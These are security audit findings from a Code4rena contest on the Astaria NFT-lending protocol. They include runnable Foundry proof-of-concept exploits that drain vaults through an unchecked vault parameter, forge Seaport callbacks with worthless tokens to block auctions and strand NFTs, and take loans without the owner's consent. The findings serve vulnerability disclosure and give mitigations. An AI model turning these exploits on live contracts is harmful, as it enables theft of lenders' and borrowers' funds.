Astaria contest - Koolex's results

Judge has assessed an item in Issue #268 as 3 risk. The relevant finding follows:

code423n4 commented on Jan 17 Lines of code https://github.com/code-423n4/2023-01-astaria/blob/main/src/ClearingHouse.sol#L169-L178

Vulnerability details Impact As there is no callback in Seaport 1.1. When listing on OpenSea, Astaria adds an additional item to be received along with payment token. It is used just to trigger the safeTransferFrom function in ClearingHouse once the NFT is sold. This way, the protocol does the necessary state clean up. As per Spearbit security review, the protocol can not detect if the call from Seaport comes from a genuine listing or auction. Astaria’s mitigation of this risk is simply to to have the ClearingHouse with checks to enforce that it has received enough of the payment token the right asset to complete the txn (Check point 5.2.15 in the shared security review by Spearbit). However, the protocol doesn't validate:

The passed payment token (identifier parameter that has the token address encoded). If there is an active auction for the relevant NFT (meaning that liquidate was actually called). This results in three potential exploits scenarios:

First Scenario > The auction will never get a successful order fulfilment During an active auction,

A malicious actor can call safeTransferFrom passing a wrong payment token (any ERC20 token that has no value) with enough amount required by the protocol. This cleans up the state causing the actual call from Seaport to always revert. Therefore, the auction will never get a successful order fulfilment. Eventually the NFT ends up with no winning bids.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L287

Vulnerability details

Impact

When a borrower takes a loan, Strategy details are passed along with other required data, and through the overall commitToLien flow, all the data are validated except the StrategyDetailsParam.vault

  struct StrategyDetailsParam {
    uint8 version;
    uint256 deadline;
    address vault;
  }

A borrower then can pass different vault's address, and when creating a lien this vault is considered. Later, the borrower makes a payment, it reads the asset from this vault. Thus, the borrower can take loans and repay with whatever token.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L849

Exploit Scenario

Allow me to describe a scenario where the borrower can steal all the funds from all vaults that support his/her collateral:

1. Bob owns an NFT.
2. Bob sends his NFT to the collateral token contract.
3. Bob creates his own private vault BobVault with an asset that he created FakeToken which doesn’t have any value in the market (e.g. just a new ERC20 token).
4. Bob takes a loan from Vault1 (while passing BobVault in the strategy param).
5. Bob pay the loan with his FakeToken instead Vault1's asset.
6. Bob then repeats the steps from point 4 again till Vault1 is drained.
7. Bob now has all the funds from Vault1 with zero debt.
8. Strategist has the same amount of Vault1's funds but in FakeToken.

This exploit can be done with other vaults draining all the funds. To prove this, I've coded the scenario below.

Proof of Concept

1. Please create a file with a name StealAllFundsExploit.t.sol under src/test/ directory.

2. Add the following code to the file.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";
import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";
import "./TestHelpers.t.sol";
import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import {IVaultImplementation} from "../interfaces/IVaultImplementation.sol";



contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;


  ILienToken.Details public lienDetails =
      ILienToken.Details({
        maxAmount: 50 ether,
        rate: (uint256(1e16) * 150) / (365 days),
        duration: 10 days,
        maxPotentialDebt: 50 ether,
        liquidationInitialAsk: 500 ether
      });


  function __createPrivateVault(address strategist, address delegate,address token)
    internal
    returns (address privateVault)
  {
    vm.startPrank(strategist);
    privateVault = ASTARIA_ROUTER.newVault(delegate, token);
    vm.stopPrank();
  }    

  
 function testPayWithDifferentAsset() public {
    TestNFT nft = new TestNFT(2);
    address tokenContract = address(nft);
    uint256 initialBalance = WETH9.balanceOf(address(this));

    // Create a private vault with WETH asset
    address privateVault = __createPrivateVault({
      strategist: strategistOne,
      delegate: address(0),
      token: address(WETH9)
    });


    _lendToPrivateVault(
      Lender({addr: strategistOne, amountToLend: 500 ether}),
      privateVault
    );
    
    // Send the NFT to Collateral contract and receive Collateral token
    ERC721(tokenContract).safeTransferFrom(address(this),address(COLLATERAL_TOKEN),1,"");

    // generate valid terms
    uint256 amount = 50 ether; // amount to borrow        
    IAstariaRouter.Commitment memory c = _generateValidTerms({
      vault: privateVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: 1,
      lienDetails: lienDetails,
      amount: amount,
      stack: new ILienToken.Stack[](0)
    });

    // Attack starts here
    // The borrower an asset which has no value in the market
    MockERC20 FakeToken = new MockERC20("USDC", "FakeAsset", 18); // this could be any ERC token created by the attacker
    FakeToken.mint(address(this),500 ether);
    // The borrower creates a private vault with his/her asset
    address privateVaultOfBorrower = __createPrivateVault({
      strategist: address(this),
      delegate: address(0),
      token: address(FakeToken)
    });

    uint8 i;
    for( ; i < 10 ; i ++) {
      // Here is the exploit: commitToLien on privateVault while passing differentVault in the strategy
      c.lienRequest.strategy.vault = privateVaultOfBorrower;   
      (uint256 lienId, ILienToken.Stack[] memory stack , uint256 payout) = IVaultImplementation(privateVault).commitToLien(
          c,
          address(this)
      );
      console.log("Take 50 ether loan#%d", (i+1));

      // necessary approvals
      FakeToken.approve(address(TRANSFER_PROXY), amount);
      FakeToken.approve(address(LIEN_TOKEN), amount);

      // pay the loan with FakeToken 
      ILienToken.Stack[] memory newStack = LIEN_TOKEN.makePayment(
        stack[0].lien.collateralId,
        stack,
        uint8(0),
        amount
      );
      console.log("Repay 50 FakeToken loan#%d", (i+1));
    }


    // assertion
    console.log("------");
    // Vault is drained
    console.log("PrivateVault Balance: %d WETH", WETH9.balanceOf(privateVault));
    assertEq(WETH9.balanceOf(privateVault), 0); 
    // The borrower gets 500 ether
    console.log("Borrower Balance: %d WETH", WETH9.balanceOf(address(this)));
    assertEq(WETH9.balanceOf(address(this)), initialBalance + 500 ether);
    // strategist receives the fake token
    console.log("Strategist Balance: %d FakeToken", FakeToken.balanceOf(strategistOne));
    assertEq(FakeToken.balanceOf(strategistOne), 500 ether);

  }
 
}

3. Then run the forge test command as follows (replace $FORK_URL with your RPC URL):

 forge test --ffi --fork-url $FORK_URL --fork-block-number 15934974 --match-path src/test/StealAllFundsExploit.t.sol -vv

The test will pass. I've added comments in the code explaining the steps.

Note:The attack isn't possible when using AstariaRouter

Tools Used

Manual analysis

Recommended Mitigation Steps

In VaultImplementation's commitToLien function, add the following validation:

require(address(this) == params.lienRequest.strategy.vault,"INVALID VAULT");

Run the PoC test above again, and testPayWithDifferentAsset should fail.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/ClearingHouse.sol#L169-L178

Vulnerability details

Impact

As there is no callback in Seaport 1.1. When listing on OpenSea, Astaria adds an additional item to be received along with payment token. It is used just to trigger the safeTransferFrom function in ClearingHouse once the NFT is sold. This way, the protocol does the necessary state clean up. As per Spearbit security review, the protocol can not detect if the call from Seaport comes from a genuine listing or auction. Astaria’s mitigation of this risk is simply to to have the ClearingHouse with checks to enforce that it has received enough of the payment token the right asset to complete the txn (Check point 5.2.15 in the shared security review by Spearbit). However, the protocol doesn't validate:

1. The passed payment token (identifier parameter that has the token address encoded).
2. If there is an active auction for the relevant NFT (meaning that liquidate was actually called).

This results in three potential exploits scenarios:

First Scenario > The auction will never get a successful order fulfilment

During an active auction,

1. A malicious actor can call safeTransferFrom passing a wrong payment token (any ERC20 token that has no value) with enough amount required by the protocol.
2. This cleans up the state causing the actual call from Seaport to always revert.
3. Therefore, the auction will never get a successful order fulfilment.
4. Eventually the NFT ends up with no winning bids.

Second Scenario > Liquidation will always revert

During an inactive auction (meaning that liquidation wasn’t triggered and the lien is in healthy state),

1. A malicious actor can also call safeTransferFrom passing a wrong payment token (any ERC20 token that has no value) with enough amount required by the protocol.
2. This cleans up the state which means:
   • For example, burning the lien token.
   • Burning the collateral token.
   • Deleting the collateral state hash and idToUnderlying mappings.
   • And more..
3. This results in an serious impact such as getting the NFT stuck in the protocol forever because:
   • The releaseToAddress function will always revert as idToUnderlying was cleared.
   • The liquidate function will always revert as the collateral token and lien Id no longer exist.

Third Scenario > The NFT is stuck forever

An auction ended with no winning bid, but the malicious actor calls safeTransferFrom exactly at the auction end time (otherwise, the attack's transaction reverts) and before releasing the NFT from the protocol.
This results in getting the NFT stuck in the protocol forever as well.

I've provided PoC for each scenario.

Proof of Concept

1. Please create a file with a name ExploitSeaportCallback.t.sol under src/test/ directory.

2. Add the following code to the file.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";
import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;
  using SafeTransferLib for ERC20;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  address actor = vm.addr(0x7171);


 function __bidStep1(
    Bidder memory incomingBidder,
    OrderParameters memory params,
    uint256 bidAmount
  ) internal returns (ConsiderationInterface,
                      Order[] memory,
                      bool) 
    {

    if (bidderConduits[incomingBidder.bidder].conduitKey == bytes32(0)) {
      (, , address conduitController) = SEAPORT.information();
      bidderConduits[incomingBidder.bidder].conduitKey = Bytes32AddressLib
        .fillLast12Bytes(address(incomingBidder.bidder));

      bidderConduits[incomingBidder.bidder]
        .conduit = ConduitControllerInterface(conduitController).createConduit(
        bidderConduits[incomingBidder.bidder].conduitKey,
        address(incomingBidder.bidder)
      );

      ConduitControllerInterface(conduitController).updateChannel(
        address(bidderConduits[incomingBidder.bidder].conduit),
        address(SEAPORT),
        true
      );
      vm.label(
        address(bidderConduits[incomingBidder.bidder].conduit),
        "bidder conduit"
      );
    }
    WETH9.deposit{value: bidAmount * 2}();
    WETH9.approve(bidderConduits[incomingBidder.bidder].conduit, bidAmount * 2);

    OrderParameters memory mirror = _createMirrorOrderParameters(
      params,
      payable(incomingBidder.bidder),
      params.zone,
      bidderConduits[incomingBidder.bidder].conduitKey
    );
    emit log_order(mirror);

    Order[] memory orders = new Order[](2);
    orders[0] = Order(params, new bytes(0));

    OrderComponents memory matchOrderComponents = getOrderComponents(
      mirror,
      consideration.getCounter(incomingBidder.bidder)
    );

    emit log_order(mirror);

    bytes memory mirrorSignature = signOrder(
      SEAPORT,
      incomingBidder.bidderPK,
      consideration.getOrderHash(matchOrderComponents)
    );
    orders[1] = Order(mirror, mirrorSignature);

    //order 0 - 1 offer 3 consideration

    // order 1 - 3 offer 1 consideration

    //offers    fulfillments
    // 0,0      1,0
    // 1,0      0,0
    // 1,1      0,1
    // 1,2      0,2

    // offer 0,0
    delete fulfillmentComponents;
    fulfillmentComponent = FulfillmentComponent(0, 0);
    fulfillmentComponents.push(fulfillmentComponent);

    //for each fulfillment we need to match them up
    firstFulfillment.offerComponents = fulfillmentComponents;
    delete fulfillmentComponents;
    fulfillmentComponent = FulfillmentComponent(1, 0);
    fulfillmentComponents.push(fulfillmentComponent);
    firstFulfillment.considerationComponents = fulfillmentComponents;
    fulfillments.push(firstFulfillment); // 0,0

    // offer 1,0
    delete fulfillmentComponents;
    fulfillmentComponent = FulfillmentComponent(1, 0);
    fulfillmentComponents.push(fulfillmentComponent);
    secondFulfillment.offerComponents = fulfillmentComponents;

    delete fulfillmentComponents;
    fulfillmentComponent = FulfillmentComponent(0, 0);
    fulfillmentComponents.push(fulfillmentComponent);
    secondFulfillment.considerationComponents = fulfillmentComponents;
    fulfillments.push(secondFulfillment); // 1,0

    // offer 1,1
    delete fulfillmentComponents;
    fulfillmentComponent = FulfillmentComponent(1, 1);
    fulfillmentComponents.push(fulfillmentComponent);
    thirdFulfillment.offerComponents = fulfillmentComponents;

    delete fulfillmentComponents;
    fulfillmentComponent = FulfillmentComponent(0, 1);
    fulfillmentComponents.push(fulfillmentComponent);

    //for each fulfillment we need to match them up
    thirdFulfillment.considerationComponents = fulfillmentComponents;
    fulfillments.push(thirdFulfillment); // 1,1

    //offer 1,2
    delete fulfillmentComponents;

    //royalty stuff, setup
    fulfillmentComponent = FulfillmentComponent(1, 2);
    fulfillmentComponents.push(fulfillmentComponent);
    fourthFulfillment.offerComponents = fulfillmentComponents;
    delete fulfillmentComponents;
    fulfillmentComponent = FulfillmentComponent(0, 2);
    fulfillmentComponents.push(fulfillmentComponent);
    fourthFulfillment.considerationComponents = fulfillmentComponents;

    if (params.consideration.length == uint8(3)) {
      fulfillments.push(fourthFulfillment); // 1,2
    }

    delete fulfillmentComponents;

    uint256 currentPrice = _locateCurrentAmount(
      params.consideration[0].startAmount,
      params.consideration[0].endAmount,
      params.startTime,
      params.endTime,
      false
    );
    if (bidAmount < currentPrice) {
      uint256 warp = _computeWarp(
        currentPrice,
        bidAmount,
        params.startTime,
        params.endTime
      );
      emit log_named_uint("start", params.consideration[0].startAmount);
      emit log_named_uint("amount", bidAmount);
      emit log_named_uint("warping", warp);
      skip(warp + 1000);
      uint256 currentAmount = _locateCurrentAmount(
        orders[0].parameters.consideration[0].startAmount,
        orders[0].parameters.consideration[0].endAmount,
        orders[0].parameters.startTime,
        orders[0].parameters.endTime,
        false
      );
      emit log_named_uint("currentAmount asset", currentAmount);
      uint256 currentAmountFee = _locateCurrentAmount(
        orders[0].parameters.consideration[1].startAmount,
        orders[0].parameters.consideration[1].endAmount,
        orders[0].parameters.startTime,
        orders[0].parameters.endTime,
        false
      );
      emit log_named_uint("currentAmount fee", currentAmountFee);
      emit log_fills(fulfillments);
      emit log_named_uint("length", fulfillments.length);

      return (consideration,orders,false);
    } else {
      return (consideration,orders,true);
    }
  }


function __bidStep2(
  Bidder memory incomingBidder,
  ConsiderationInterface consideration,
  Order[] memory orders,
  bool fulfillAdvancedOrder
  ) internal {
    if(!fulfillAdvancedOrder){
        consideration.matchOrders(orders, fulfillments);
    } else {
      consideration.fulfillAdvancedOrder(
        AdvancedOrder(orders[0].parameters, 1, 1, orders[0].signature, ""),
        new CriteriaResolver[](0),
        bidderConduits[incomingBidder.bidder].conduitKey,
        address(0)
      );
    }
    delete fulfillments;
  }  


  // First Scenario: The auction will never get a successful order fulfilment
  function testAuctionWillNeverSucceed() public {
    address borrower = address(69);
    address liquidator = address(7);
    TestNFT nft = new TestNFT(0);
    _mintNoDepositApproveRouterSpecific(borrower, address(nft), 99);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(99);

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // lend 50 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: address(1), amountToLend: 50 ether}),
      publicVault
    );

    _signalWithdraw(address(1), publicVault);

    ILienToken.Details memory lien = standardLienDetails;
    lien.duration = 14 days;

    // borrow 10 eth against the dummy NFT
    vm.startPrank(borrower);
    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: lien,
      amount: 50 ether,
      isFirstLien: true
    });
    vm.stopPrank();

    vm.warp(block.timestamp + lien.duration);

    vm.startPrank(liquidator);
    OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );
    vm.stopPrank();


    uint256 collateralId = tokenContract.computeId(tokenId);
    ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);

    // Attack starts here
    { 
      vm.startPrank(actor);
      MockERC20 USDC = new MockERC20("USDC", "TestUSDC", 18); // this could be any ERC token created by the attacker
      uint256 amount = 500 ether; // the Liquidation Initial Ask Price
      USDC.mint(actor,amount);
      ERC20(address(USDC)).transfer(address(CH), amount);
      assertTrue(address(USDC) != address(IPublicVault(publicVault).asset()));
      CH.safeTransferFrom(
        address(CH),
        address(this),
        uint256(uint160(address(USDC))),
        0,
        ""
      );
      vm.stopPrank();
    }
    // Attack ends here

    {
    // Bidding: I have splitted it into two functions so that expectRevert works
    uint256 bid = 100 ether;
    Bidder memory _bidder = Bidder(bidder, bidderPK);
    vm.deal(_bidder.bidder, bid * 3);
    vm.startPrank(_bidder.bidder);
    (ConsiderationInterface consideration,Order[] memory orders,bool f)  = __bidStep1(_bidder, listedOrder, bid);
    
    // fulfilling the order will fail always due to the state change above caused by the attacker
    vm.expectRevert(); 
    __bidStep2(_bidder,consideration,orders,f);
    vm.stopPrank();

    // assert the ClearingHouse still has the NFT
    assertEq(nft.ownerOf(tokenId), address(CH));
    }

  }

  // Second Scenario: Liquidation will always revert
 function testLiquidationWillAlwaysRevert() public {
    address borrower = address(69);
    address liquidator = address(7);
    TestNFT nft = new TestNFT(0);
    _mintNoDepositApproveRouterSpecific(borrower, address(nft), 99);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(99);

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // lend 50 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: address(1), amountToLend: 50 ether}),
      publicVault
    );

    _signalWithdraw(address(1), publicVault);

    ILienToken.Details memory lien = standardLienDetails;
    lien.duration = 14 days;

    // borrow 10 eth against the dummy NFT
    vm.startPrank(borrower);
    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: lien,
      amount: 50 ether,
      isFirstLien: true
    });
    vm.stopPrank();

    uint256 collateralId = tokenContract.computeId(tokenId);
    ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);

    // Attack starts here
    { 
      vm.startPrank(actor);
      MockERC20 USDC = new MockERC20("USDC", "TestUSDC", 18); // this could be any ERC token created by the attacker
      uint256 amount = 500 ether; // the Liquidation Initial Ask Price
      USDC.mint(actor,amount);
      ERC20(address(USDC)).transfer(address(CH), amount);
      assertTrue(address(USDC) != address(IPublicVault(publicVault).asset()));
      CH.safeTransferFrom(
        address(CH),
        address(this),
        uint256(uint160(address(USDC))),
        0,
        ""
      );
      vm.stopPrank();
    }
    // Attack ends here

    {
    // Try to Liquidate
    vm.warp(block.timestamp + lien.duration);
    vm.startPrank(liquidator);
    vm.expectRevert();
    OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );
    vm.stopPrank();  

    }

  }

  // Third Scenario: The NFT is stuck forever
  function testNFTStuckForever() public {
    address borrower = address(69);
    address liquidator = address(7);
    TestNFT nft = new TestNFT(0);
    _mintNoDepositApproveRouterSpecific(borrower, address(nft), 99);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(99);

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // lend 50 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: address(1), amountToLend: 50 ether}),
      publicVault
    );

    _signalWithdraw(address(1), publicVault);

    ILienToken.Details memory lien = standardLienDetails;
    lien.duration = 14 days;

    // borrow 10 eth against the dummy NFT
    vm.startPrank(borrower);
    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: lien,
      amount: 50 ether,
      isFirstLien: true
    });
    vm.stopPrank();

    uint256 collateralId = tokenContract.computeId(tokenId);
    ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);
    OrderParameters memory listedOrder;

    {
    // Liquidate
    vm.warp(block.timestamp + lien.duration);
    vm.startPrank(liquidator);
    listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );
    vm.stopPrank();  
    }

    // Auction ends with no bidding
    vm.warp(block.timestamp + 72 hours); // 72 hours is the auction duration

    // Attack starts here
    { 
      vm.startPrank(actor);
      MockERC20 USDC = new MockERC20("USDC", "TestUSDC", 18); // this could be any ERC token created by the attacker
      uint256 amount = 500 ether; // the Liquidation Initial Ask Price
      USDC.mint(actor,amount);
      ERC20(address(USDC)).transfer(address(CH), amount);
      assertTrue(address(USDC) != address(IPublicVault(publicVault).asset()));
      CH.safeTransferFrom(
        address(CH),
        address(this),
        uint256(uint160(address(USDC))),
        0,
        ""
      );
      vm.stopPrank();
    }
    // Attack ends here


    // try to release the NFT, it will always fail
    vm.expectRevert();  
    COLLATERAL_TOKEN.liquidatorNFTClaim(listedOrder);
    assertEq(nft.ownerOf(tokenId), address(CH));


    // 1 second after the auction ends
    vm.warp(block.timestamp + 1 seconds);
    // Attack starts here again, and it will fail
    { 
      vm.startPrank(actor);
      MockERC20 USDC = new MockERC20("USDC", "TestUSDC", 18); // this could be any ERC token created by the attacker
      uint256 amount = 500 ether; // the Liquidation Initial Ask Price
      USDC.mint(actor,amount);
      ERC20(address(USDC)).transfer(address(CH), amount);
      assertTrue(address(USDC) != address(IPublicVault(publicVault).asset()));
      vm.expectRevert();
      CH.safeTransferFrom(
        address(CH),
        address(this),
        uint256(uint160(address(USDC))),
        0,
        ""
      );
      vm.stopPrank();
    }
    // Attack ends here

    {
      // after 10 days try to release the NFT again, it fails
      vm.warp(block.timestamp + 10 days);
      vm.expectRevert();  
      COLLATERAL_TOKEN.liquidatorNFTClaim(listedOrder);
      assertEq(nft.ownerOf(tokenId), address(CH));
    }

  }


}

3. Then run the forge test command as follows (replace $FORK_URL with your RPC URL):

forge test --ffi --fork-url $FORK_URL --fork-block-number 15934974 --match-path src/test/ExploitSeaportCallback.t.sol -vv

Tools Used

Manual analysis

Recommended Mitigation Steps

Introduce the following checks:

• When liquidate is triggered, store the payment token in order to match it later with the one from the callback ( safeTransferFrom ). If they don't match revert.

• Check if the auction is active for the collateral id, otherwise, revert.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L639-L647

Vulnerability details

Impact

According to Astaria's docs: https://docs.astaria.xyz/docs/protocol-mechanics/loanterms

Liquidation initial ask: Should the NFT go into liquidation, the initial price of the auction will be set to this value. Note that this set as a starting point for a dutch auction, and the price will decrease over the liquidation period. This figure is should also be specified in 10^18 format.

The liquidation initial ask is specififed in 18 decimals. this is then used as a starting price when the NFT goes under auction on OpenSea. However, if the asset has less than 18 decimals, then the starting price goes wrong to Seaport.

This results in listing the NFT with too high price that makes it unlikely to be sold.

Proof of Concept

The starting price is set to the liquidation initial ask:

    listedOrder = s.COLLATERAL_TOKEN.auctionVault(
      ICollateralToken.AuctionVaultParams({
        settlementToken: stack[position].lien.token,
        collateralId: stack[position].lien.collateralId,
        maxDuration: auctionWindowMax,
        startingPrice: stack[0].lien.details.liquidationInitialAsk,
        endingPrice: 1_000 wei
      })
    );

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L639-L647

Let's assume the asset is USDC which has 6 decimals:

1. Stratigist signs a strategy with liquidationInitialAsk 1000e18.
2. Following the docs, this means the starting price is supposed to be 1000 USDC
3. The NFT is being liquidated.
4. 1000e18 is passed to Seaport along with asset USDC.
5. Seaport lists the NFT, and the price will be too high as1000e18 will be 1000000000000000 USDC

Tools Used

Manual analysis

Recommended Mitigation Steps

1. Either fetch the asset's decimals on-chain or add it as a part of the strategy.
2. Convert liquidationInitialAsk to the asset's decimals before passing it as a starting price.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L237-L244

Vulnerability details

Impact

Let's say Bob used his NFT as a collateral which allowed him to take loans up to 50 ether as a max potential debt. Bob decided to borrow only 10 ether. As per the protocol's logic, Bob can give consent by approving another actor (e.g. operator) to take loans on his behalf. However, a malicious actor can still make Bob takes additional loans (commitToLien) without his consent. This results in:

1. Loans being taken by Bob without his consent.
2. Bob commits to loans with strategies that are not beneficial to him.
3. Bob has to pay the accrued interests to close those loans once he becomes aware of it which is a loss of fund.

Proof of Concept

1. Please create a file with a name LoanWithoutConsentTest.t.sol under src/test/ directory.

2. Add the following code to the file.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";
import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import "./TestHelpers.t.sol";
import {IVaultImplementation} from "../interfaces/IVaultImplementation.sol";

contract AstariaTest is TestHelpers {
  using CollateralLookup for address;

  address maliciousActor = vm.addr(uint256(0x7778));

  ILienToken.Details public lienDetails =
    ILienToken.Details({
      maxAmount: 50 ether,
      rate: (uint256(1e16) * 150) / (365 days),
      duration: 10 days,
      maxPotentialDebt: 50 ether,
      liquidationInitialAsk: 500 ether
    });


  function testTakeLoanWithoutConsent() public {
    TestNFT nft = new TestNFT(3);
    address tokenContract = address(nft);

    uint256 initialBalance = WETH9.balanceOf(address(this));

    // create two private vaults
    address privateVault = _createPrivateVault({
      strategist: strategistOne,
      delegate: strategistTwo
    });
    address privateVault2 = _createPrivateVault({
      strategist: strategistOne,
      delegate: strategistTwo
    });

    // fund the vaults
    _lendToPrivateVault(
      Lender({addr: strategistOne, amountToLend: 50 ether}),
      privateVault
    );
    _lendToPrivateVault(
      Lender({addr: strategistOne, amountToLend: 50 ether}),
      privateVault2
    );

    // transfer the NFT to COLLATERAL TOKEN  contract
    ERC721(tokenContract).safeTransferFrom(address(this),address(COLLATERAL_TOKEN),1,"");

    IAstariaRouter.Commitment memory c = _generateValidTerms({
      vault: privateVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: 1,
      lienDetails: lienDetails,
      amount: 10 ether,
      stack: new ILienToken.Stack[](0)
    });

    (uint256 lienId, ILienToken.Stack[] memory stack , uint256 payout) = IVaultImplementation(privateVault).commitToLien(
        c,
        address(this)
    );

    // a malicious actor can make address(this) commitToLien without consent
    vm.startPrank(maliciousActor);
    IAstariaRouter.Commitment memory c2 = _generateValidTerms({
      vault: privateVault2,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: 1,
      lienDetails: lienDetails,
      amount: 10 ether,
      stack: stack
    });
    (uint256 lienId2, , uint256 payout2) = IVaultImplementation(privateVault2).commitToLien(
        c2,
        address(this)
    );
    vm.stopPrank();

    // the second loan was taken successfuly although the collateral owner didn't give any consent 
    assertEq(WETH9.balanceOf(address(this)), initialBalance + 20 ether);

  }



}

3. Then run the forge test command as follows (replace $FORK_URL with your RPC URL):

forge test --ffi --fork-url $FORK_URL --fork-block-number 15934974 --match-path src/test/LoanWithoutConsentTest.t.sol

The test will pass.

Note:This attack isn't possible when using AstariaRouter as it has additional check:

  if (msg.sender != s.COLLATERAL_TOKEN.ownerOf(collateralId)) {
      revert InvalidSenderForCollateral(msg.sender, collateralId);
    }

Tools Used

Manual analysis

Recommended Mitigation Steps

In VaultImplementation's _validateCommitment function, Fix the logic in the following code:

    if (
      msg.sender != holder &&
      receiver != holder &&
      receiver != operator &&
      !CT.isApprovedForAll(holder, msg.sender)
    ) {
      revert InvalidRequest(InvalidRequestReason.NO_AUTHORITY);
    }

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L795

Vulnerability details

Impact

• Popular and early NFT collections such as:

1. CryptoPunks
2. EtherRocks
3. MoonCats

• Those are not compliant with ERC721 standard. Therefore, transferring will fail and they can not be used as a collateral. If a strategist isn’t aware of this, and signs a strategy that allows one of the above collections, it would be unusable. which has almost no risk for the strategist. However, if a borrower isn't aware, and he/she sends the NFT to the CollateralToken , then the NFT is stuck in the protocol forever as there is no way out since the protocol uses safeTransferFrom which isn't supported by any of the collections above.

Moreover, as per Astaria's doc, It plans to support leading NFT collections in the beginning, and as the above collections aren't supported, it's a disadvantage for the protocol.

At launch, Astaria plans to support terms for leading NFT collections through its whitelisted strategist partners. Smaller collections may be supported at the discretion of individual whitelisted strategists, or by PrivateVaults

https://docs.astaria.xyz/docs/faq

Proof of Concept

As an example, check CryptoPunks's code: https://etherscan.io/address/0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb#writeContract

Tools Used

Manual analysis

Recommended Mitigation Steps

Add a wrapper that checks if the NFT collection is special (e.g. CryptoPunks), then use their special transfer functions, otherwise, the standard ERC721 transfer.

If you are not intending to support those collections for now, at least make it clear for the strategists (especially solo ones) when on-boarding them.